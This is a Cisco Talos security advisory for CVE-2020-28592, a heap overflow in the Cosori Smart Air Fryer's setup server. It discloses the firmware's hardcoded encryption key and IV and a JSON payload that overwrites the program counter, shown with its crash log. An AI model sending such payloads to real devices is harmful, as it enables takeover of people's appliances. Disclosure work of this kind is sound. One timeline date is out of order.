Talos Vulnerability Report

TALOS-2020-1216

Cosori Smart 5.8-Quart Air Fryer CS158-AF configuration server code execution vulnerability

APRIL 15, 2021

CVE NUMBER

CVE-2020-28592

Summary

A heap-based buffer overflow vulnerability exists in the configuration server functionality of the Cosori Smart 5.8-Quart Air Fryer CS158-AF 1.1.0. A specially crafted JSON object can lead to remote code execution. An attacker can send a malicious packet to trigger this vulnerability.

Tested Versions

Cosori Smart 5.8-Quart Air Fryer CS158-AF 1.1.0

Product URLs

https://www.cosori.com/shop/cosori-smart-58-quart-air-fryer-cs158-af

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

The Cosori Smart Air Fryer is a WiFi-enabled kitchen appliance that allows user to activate the device remotely, look up recipe guides and monitor cooking status via the mobile application.

During the initial setup phase, the embedded ESP-01E-based device functions as a WiFi access point that must be associated with before the mobile application can register the device with the appropriate cloud servers. During thatthis registration process, information about the device is queried via mobile app such as nearby access points and the firmware version.

This communication occurs over TCP port 41234 and all traffic is encrypted JSON with a static, symmetric key and IV that is embedded with the firmware:

.user_data_seg_3:3FFE911E 6C 6C 77 61+aLlwantaesivv10 .ascii “llwantaesivv1.01llwantaeskey1.01”

```
Where
KEY = "llwantaeskey1.01"
IV = "llwantaesivv1.01"
```

A plaintext example of such a client request would be:

```
{"uri":  "/queryWifiList"}
```

Which would return a JSON object containing nearby access points that the Air Fryer can locate. When returning this object, the server replaces ‘query’ w/ ‘reply’ and it is printed as debug information:

```
[I]<Vesync>Handler tcp message !
[D]<Vesync>Found uri !
[D]<Vesync>Send to app : {"uri":"/replyWifiList","result":0,"totalPage":1,"currentPage":1,"}
[D]<Vesync>Send to app msg len : 931
```

Crash Information

If an invalid request is made, an error message is printed to the console:

```
"uri":"/replyAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9DDDD","err":"57"
```

During this process, only 104 bytes are allocated for the response. .user_rom:40100FB7 22 21 1A l32i , a2, a1, 0x68 # <– malloc 104 (0x68) bytes .user_rom:40100FBA 42 A0 70 movi , a4, 0x70 .user_rom:40100FBD 00 30 20 mov , a3, a0 .user_rom:40100FC0 85 D1 FF call0 , pvPortMalloc

Therefore, if the JSON “uri” value begins with “/query” but has at least an additional 60 bytes appended to it that are non-null, a heap overflow occurs and the execution pointer is restored to the last 4 bytes of the “/query<60_bytes>" and depending on the address, the device will crash or code execution at the specified address will continue.

```
[D]<Vesync>

    "uri":  "/queryAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9DDDD"

[I]<Vesync>Handler tcp message !
[D]<Vesync>Found uri !
[I]<Vesync>encrypt
[D]<Vesync>TCP send to APP : {"uri":"/replyAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9DDDD","err":"57"}
Fatal exception 0(IllegalInstructionCause):
pc1=0x44444444, epc2=0x00000000, epc3=0x00000000, excvaddr=0x00000000, depc=0x00000000
```

Timeline

2021-12-21 - Initial contact

2021-01-05 - 1st follow up

2021-02-17 - 2nd follow up

2021-03-29 - Final 90 day+ follow up

2021-04-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.
